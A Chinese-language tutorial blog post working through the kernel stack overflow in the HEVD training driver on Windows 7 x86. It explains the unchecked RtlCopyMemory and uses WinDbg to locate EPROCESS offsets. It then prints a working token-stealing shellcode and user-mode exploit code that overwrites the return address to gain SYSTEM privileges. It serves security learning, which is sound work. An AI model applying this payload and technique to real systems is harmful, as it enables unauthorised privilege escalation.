作者:huity
出处:https://www.cnblogs.com/huity35/p/11231155.html
版权:本文版权归作者所有。文章在看雪、博客园、个人博客同时发布。
转载:欢迎转载,但未经作者同意,必须保留此段声明;必须在文章中给出原文连接;否则必究法律责任。

0x00 前言

上一篇主要学习了环境搭建及前期项目准备,本篇开始学习HEVD中的内核栈溢出漏洞(StackOverflow)。需要参考环境的可参考:

实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1

实验工具:VS2015+Windbg+IDA Pro+KmdManager+DbgViewer

这几天看到有很多同样开始研究二进制漏洞的小伙伴,几经交流,先膜再说。传送门:TJ

驱动安装

从github上下载HEVD的源码编译生成驱动,打开我们之前准备好的虚拟机和windbg,将驱动模块和利用模块拷贝到虚拟机,用KMD加载即可。
打开cmd,运行我们的利用程序,如下:
查看是否加载成功,windbg使用lm m H*可以看到刚刚加载的HEVD.sys。

0x01 漏洞原理

栈溢出

顾名思义,即缓冲区中,超长的数据向小缓冲区拷贝数据,数据超出了小缓冲区,覆盖掉了小缓冲之后的数据,此称为缓冲区溢出。而栈溢出是缓冲区溢出的一种,类似的还有堆溢出,不同的是栈溢出发生在栈中,而堆溢出发生在堆中。具体更细致的理解,可参考《0Day安全》(第二版)中第2、5、7章的介绍。
那么当我们设计将返回地址溢出覆盖为我们自己的程序地址,那么目标程序即被利用。

分析

打开..\HackSysExtremeVulnerableDriver-master\Driver\HEVD\BufferOverflowStack.c,看到触发漏洞的函数TriggerBufferOverflowStack,其中针对存在漏洞的版本和不存在漏洞的版本的源码有一个很好的对比展示,如下:
  1. ULONG KernelBuffer[BUFFER_SIZE] = { };
  2. ...
  3. #ifdef SECURE //安全版本
  4. RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
  5. #else //漏洞版本
  6. DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
  7. RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
  8. #endif
  9. }
  10. __except (EXCEPTION_EXECUTE_HANDLER)
  11. {
  12. Status = GetExceptionCode();
  13. DbgPrint("[-] Exception Code: 0x%X\n", Status);
  14. }
  15. return Status;
  16. }
在不安全的版本中,RtlCopyMemory函数进行内存拷贝时,直接使用Ring3传入的内存块大小,没有进行任何的校验。而在安全的版本中,内存拷贝大小被限制为目标缓冲区大小,即限制了栈溢出的发生。那么,当我们编译为不安全版本时,即可进行漏洞利用。
再向上翻看代码时,我们注意到内核缓冲区的大小为BUFFER_SIZE大小,查看宏可知为512,乘以32位ULONG即为0x800大小。

0x02 漏洞利用

提权

对于系统进程而言,如system.exe或者csrss.exe,当我们用自己的普通用户进程打开OpenProcess时,往往都会返回0x5的错误,即拒绝访问。那是因为普通进程的权限是比较低的,想要打开高权限程序必须具有高于或等于目标进程权限,才能对其进程操作。
那么如何提升当前进程的权限呢,常用的一种做法是,通过Token令牌修改。

即将目标进程的 Token 结构数据或指针替换成 System 进程等系统进程的 Token 结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。

第一步首先需要定位到System进程的EPROCES结构地址,常见做法是通过fs寄存器,其指向当前活动线程的TEB结构(线程结构),在Win7 x86 sp1环境下,其偏移0x124为当前线程KTHREAD结构:

  1. kd> r fs
  2. fs=
  3. kd> dd fs:[0x124]
  4. : 83f7d380 83f7d380
  5. : 9e090106 0001007f
  6. :
  7. :
  8. :
  9. :
  10. :
  11. : 83f0cae7 83e4ff64
  12.  
  13. kd> dt _KTHREAD 83f7d380
  14. nt!_KTHREAD
  15. +0x000 Header : _DISPATCHER_HEADER
  16. ...
  17. +0x040 ApcState : _KAPC_STATE
  18. +0x040 ApcStateFill : [] "???"
  19. +0x057 Priority : ''
  20. ...
  21.  
  22. kd> dt _KAPC_STATE
  23. nt!_KAPC_STATE
  24. +0x000 ApcListHead : [] _LIST_ENTRY
  25. +0x010 Process : Ptr32 _KPROCESS
  26. +0x014 KernelApcInProgress : UChar
  27. +0x015 KernelApcPending : UChar
  28. +0x016 UserApcPending : UChar
_KTHREAD结构的偏移0x50处为_KPROCESS结构,而_KPROCESS为_EPOCESS结构的第一个字段,即定位到了_EPROCESS结构。
 
第二步通过_EPROCESS中偏移0xb8处的进程双向链表,偏移0xb4处的进程标识符以及System进程的进程标识符4遍历链表匹配到System进程。在EPROCESS结构偏移0xF8处为_EX_FAST_REF结构,为Token 成员域。
  1. kd> dt _EPROCESS
  2. nt!_EPROCESS
  3. +0x000 Pcb : _KPROCESS
  4. ...
  5. +0x0b4 UniqueProcessId : Ptr32 Void
  6. +0x0b8 ActiveProcessLinks : _LIST_ENTRY
  7. +0x0c0 ProcessQuotaUsage : [] Uint4B
  8. +0x0c8 ProcessQuotaPeak : [] Uint4B
  9. ...
  10. +0x0f8 Token : _EX_FAST_REF
  11. +0x0fc WorkingSetPage : Uint4B
  12. ...
  13.  
  14. kd> dt _EX_FAST_REF
  15. nt!_EX_FAST_REF
  16. +0x000 Object : Ptr32 Void
  17. +0x000 RefCnt : Pos , Bits
  18. +0x000 Value : Ui

数值的低 3 位表示引用计数,去除低 3 位数值后的 32 位完整数值指向实际表示的内存地址。

Token 结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid),特权级(Privileges)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System 进程的 Token 结构块的数据如下:

  1. kd> !token
  2. _TOKEN 0xffffffff89201270
  3. TS Session ID:
  4. User: S---
  5. User Groups:
  6. S----
  7. Attributes - Default Enabled Owner
  8. S---
  9. Attributes - Mandatory Default Enabled
  10. S---
  11. Attributes - Mandatory Default Enabled
  12. S---
  13. Attributes - GroupIntegrity GroupIntegrityEnabled
  14. Primary Group: S---
  15. Privs:
  16. 0x000000002 SeCreateTokenPrivilege Attributes -
  17. 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
  18. ...
  19. 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
  20. 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
  21. Authentication ID: (,3e7)
  22. Impersonation Level: Anonymous
  23. TokenType: Primary
  24. Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
  25. Token ID: 3ea ParentToken ID:
  26. Modified ID: (, 3eb)
  27. RestrictedSidCount: RestrictedSids: 0x0000000000000000
  28. OriginatingLogonSession:

第三步,用系统进程令牌替换当前进程令牌。

根据以上步骤,参照..\HackSysExtremeVulnerableDriver-master\Exploit\Payloads.c,构造的Payload代码如下:
  1. VOID TokenStealingPayloadWin7() {
  2. __asm {
  3. pushad ; 保存寄存器状态
  4. xor eax, eax ; 清空eax
  5. mov eax, fs:[eax + KTHREAD_OFFSET] ;获取当前线程KTHREAD结构
  6. mov eax, [eax + EPROCESS_OFFSET] ; 获取_KPROCESS结构
  7. mov ecx, eax ; KProcessEProcess第一个字段 这里将目标进程EProcess首地址放进ecx 方便后面替换
  8. mov edx, SYSTEM_PID ; SYSTEM process PID = 0x4
  9. SearchSystemPID:
  10. mov eax, [eax + FLINK_OFFSET] ; _EPROCESS.ActiveProcessLinks.Flink
  11. sub eax, FLINK_OFFSET
  12. cmp [eax + PID_OFFSET], edx ;_EPROCESS.UniqueProcessId
  13. jne SearchSystemPID
  14. mov edx, [eax + TOKEN_OFFSET] ; 获取System进程令牌
  15. mov [ecx + TOKEN_OFFSET], edx ; 用系统进程令牌替换目标进程令牌
  16. ; End of Token Stealing Stub
  17. popad ; 恢复现场
  18. ; Kernel Recovery Stub
  19. xor eax, eax ; 设置返回状态为成功0
  20. add esp, ; 恢复堆栈
  21. pop ebp ; 弹栈
  22. ret ;
  23. }
  24. }

利用代码

通过DeviceIoControl的其他内存模式IOCTL(METHOD_INEITHER)方法进行环3和环0通信交互。
  1. #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
这种交互方法,驱动层可以直接访问用户模式地址,使用用户模式地址必须保证调用DeviceIoControl提供线程和派遣函数运行在同一个线程上下文中。
  1. SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
  2. __try {
  3. ...
  4. //获取设备对象句柄
  5. hFile = GetDeviceHandle(FileName);
  6.  
  7. ...
  8. //动态申请内存 2084
  9. UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
  10. HEAP_ZERO_MEMORY,
  11. UserModeBufferSize);
  12.  
  13. ...
  14. RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//0x41 'A'
  15.  
  16. MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));//申请区域的倒数第四的字节 0x368068+0x824-4 = 0x368888
  17.  
  18. ...
  19. *(PULONG)MemoryAddress = (ULONG)EopPayload;//写入payload地址
  20.  
  21. DeviceIoControl(hFile,
  22. HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
  23. (LPVOID)UserModeBuffer,
  24. (DWORD)UserModeBufferSize,
  25. NULL,
  26. ,
  27. &BytesReturned,
  28. NULL);
  29.  
  30. HeapFree(GetProcessHeap(), , (LPVOID)UserModeBuffer);
  31. UserModeBuffer = NULL;
  32. }

动态申请UserModeBufferSize(0x824)大小内存,使用字符A填充,修改最后四字节为Payload地址。驱动层通过IO控制码进入栈溢出处理历程,也即文章开始处的触发函数。

 

此时传入用户模式地址为0x2c8068,大小为0x824
可以看到,此地址与环三代码一致,最后四位为payload地址。
  1. kd> db 0x002c8068 l
  2. 002c8068 - AAAAAAAAAAAAAAAA
  3. 002c8078 - AAAAAAAAAAAAAAAA
  4. ...
  5. 002c8868 - AAAAAAAAAAAAAAAA
  6. 002c8878 - AAAAAAAAAAAAAAAA
  7. 002c8888 b6 3f ..?.
  8.  
  9. kd> db 013f13b6
  10. 013f13b6 e9 e9 3b- e9 d6 e9 .%u... ;........
  11. 013f13c6 e9 bc - e9 4c d5 e9 ....A....L....'
  12. 013f13d6 c5 e9 f4 a1 -e9 9d d6 e9 d7 ................
  13. 013f13e6 e9 e9- d6 e9 2d ...sE........)-.
  14. 013f13f6 e9 d0 a1 e9 ef-ba e9 2a bb ............*...
  15. 013f1406 e9 a1 e9 b6 a1- e9 0b a2 e9 .s..............
  16. 013f1416 a1 e9 a1 - e9 dc b3 e9 .....q..........
  17. 013f1426 a2 e9 d7 -e9 ff a1 e9 d5 ..............(.
  18.  
  19. 013f88f2 b930000000 mov ecx,30h
  20. kd> u 013f13b6++ l
  21. 013f88e0 push ebp
  22. 013f88e1 8bec mov ebp,esp
  23. ...
  24. 013f88fe pushad
  25. 013f88ff 33c0 xor eax,eax
  26. 013f8901 648b8024010000 mov eax,dword ptr fs:[eax+124h]
  27. 013f8908 8b4050 mov eax,dword ptr [eax+50h]
  28. 013f890b 8bc8 mov ecx,eax
  29. 013f890d ba04000000 mov edx,
  30. 013f8912 8b80b8000000 mov eax,dword ptr [eax+0B8h]
  31. 013f8918 2db8000000 sub eax,0B8h
  32. 013f891d 3990b4000000 cmp dword ptr [eax+0B4h],edx
  33. 013f8923 75ed jne 013f8912
  34. 013f8925 8b90f8000000 mov edx,dword ptr [eax+0F8h]
  35. 013f892b 8991f8000000 mov dword ptr [ecx+0F8h],edx
  36. 013f8931 popad
  37. ...
  38. 013f894e c3 ret
  39. 013f894f cc int

再来看看内核栈缓冲区,明显可以看到,覆盖范围超出了内核栈缓冲区,并且最后四个字节为payload跳转地址。

  1. kd> dt KernelBuffer
  2. Local var @ 0x987fb288 Type unsigned long[]
  3.  
  4. kd> db 0x987fb288 l 0x800 //覆盖前
  5. 987fb288 - ................
  6. 987fb298 - ................
  7. ...
  8. 987fba78 - ................
  9.  
  10. kd> db 0x987fb288 l 0x824 //覆盖后
  11. 987fb288 - AAAAAAAAAAAAAAAA
  12. 987fb298 - AAAAAAAAAAAAAAAA
  13. ...
  14. 987fba98 - AAAAAAAAAAAAAAAA
  15. 987fbaa8 b6 3f ..?.

测试中,可以看到我们的payload代码成功执行。

最终提权成功。
 

0x03 防范机制

关于栈溢出的防护,操作系统自身不断的完善,出现了如Linux中Canary、DEP、ASLR、RELRO等系列机制,包括Windows的GS编译选项,对栈保护性上有一定作用,但是近些年来,人们不断的研究下,这些机制又很容易被绕过和关闭,又使新的问题不断出现。

0x04 链接

玉涵师傅的翻译版本:https://bbs.pediy.com/thread-223812.htm

[02] HEVD 内核漏洞之栈溢出的更多相关文章

  1. [04] HEVD 内核漏洞之IntegerOverflow

    作者:huity出处:https://www.cnblogs.com/huity35/p/11252574.html版权:本文版权归作者所有.文章在博客园.看雪.个人博客同时发布.转载:欢迎转载,但未 ...

  2. [03] HEVD 内核漏洞之UAF

    作者:huity出处:https://www.cnblogs.com/huity35/p/11240997.html版权:本文版权归作者所有.文章在博客园.个人博客同时发布.转载:欢迎转载,但未经作者 ...

  3. 内核漏洞学习—熟悉HEVD

    一直以来内核漏洞安全给很多人的印象就是:难,枯燥.但是内核安全是否掌握是衡量一个系统安全工程师水平的标准之一,也是安全从业人员都应该掌握的基本功.本文通过详细的实例带领读者走进内核安全的大门.难度系数 ...

  4. Android内核漏洞利用技术实战:环境搭建&栈溢出实战

    前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是 ...

  5. 一则利用内核漏洞获取root权限的案例【转】

    转自:https://blog.csdn.net/u014089131/article/details/73933649 目录(?)[-] 漏洞描述 漏洞的影响范围 漏洞曝光时间 漏洞产生的原因 漏洞 ...

  6. 【翻译】 Windows 内核漏洞学习—空指针解引用

    Windows Kernel Exploitation – NullPointer Dereference 原文地址:https://osandamalith.com/2017/06/22/windo ...

  7. Windows 内核漏洞学习—空指针解引用

    原标题:Windows Kernel Exploitation – NullPointer Dereference 原文地址:https://osandamalith.com/2017/06/22/w ...

  8. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  9. CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0

    关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...

随机推荐

  1. QT中的各种对话框

    大家可以参见QT中各种MessageBox的使用的这篇文章 界面效果图如下,大家可以用代码自己操作 diglog.h #ifndef DIALOG_H #define DIALOG_H #includ ...

  2. 3022Java_运算

    运算 1.运算符分类 算术运算符 二元运算符 +,-,*,/,% 一元运算符 ++,-- 赋值运算符   = 扩展运算符 +=,-=,*=,/= 关系运算符 >,<,>=,<= ...

  3. 高并发 Nginx+Lua OpenResty系列(1)——环境搭建

    OpenResty是一款基于Nginx的高性能负载均衡服务器容器,简单来说是Nginx+Lua.结合了Lua语言来对Nginx进行扩展,使得在Nginx上具有web容器功能. OpenResty运行环 ...

  4. .NET Core IdentityServer4实战 第Ⅳ章-集成密码登陆模式

    回顾下ClientCredentials模式,在ReSourceApi中定义了我们公开服务,第三方网站想要去访问ReSourceApi则需要在身份验证服务中获取toekn,根据token的内容,硬编码 ...

  5. System.arraycopy 和 Arrays.copyOf

    System.arraycopy /* native关键字 本地方法 System类 java.lang.System.class 参数说明: src - 源数组. srcPos - 源数组中的起始位 ...

  6. Angular4.0从入门到实战打造在线竞拍网站学习笔记之一--组件

    Angular4.0基础知识之组件 Angular4.0基础知识之路由 Angular4.0依赖注入 Angular4.0数据绑定&管道 最近搞到手了一部Angular4的视频教程,这几天正好 ...

  7. ZooKeeper学习之路(二)—— Zookeeper单机环境和集群环境搭建

    一.单机环境搭建 1.1 下载 下载对应版本Zookeeper,这里我下载的版本3.4.14.官方下载地址:https://archive.apache.org/dist/zookeeper/ # w ...

  8. .net core 杂记:WebAPI的XML请求和响应

    一般情况下,restfult api  进行数据返回或模型绑定,默认json格式会比较常见和方便,当然偶尔也会需要以XML格式的要求 对于返回XML,普通常见的方式就是在每个aciton方法进行诸如X ...

  9. Product Backlog:终极任务清单

    健康的Product Backlog就像一个健康的人那样:整洁有序.组织合理.公开透明.一个按照优先级顺序排好的敏捷Backlog不仅能够简化发版和迭代计划,还能够对团队计划去做的所有工作进行细致规划 ...

  10. Kafka集群部署指南

    一.前言 1.Kafka简介 Kafka是一个开源的分布式消息引擎/消息中间件,同时Kafka也是一个流处理平台.Kakfa支持以发布/订阅的方式在应用间传递消息,同时并基于消息功能添加了Kafka ...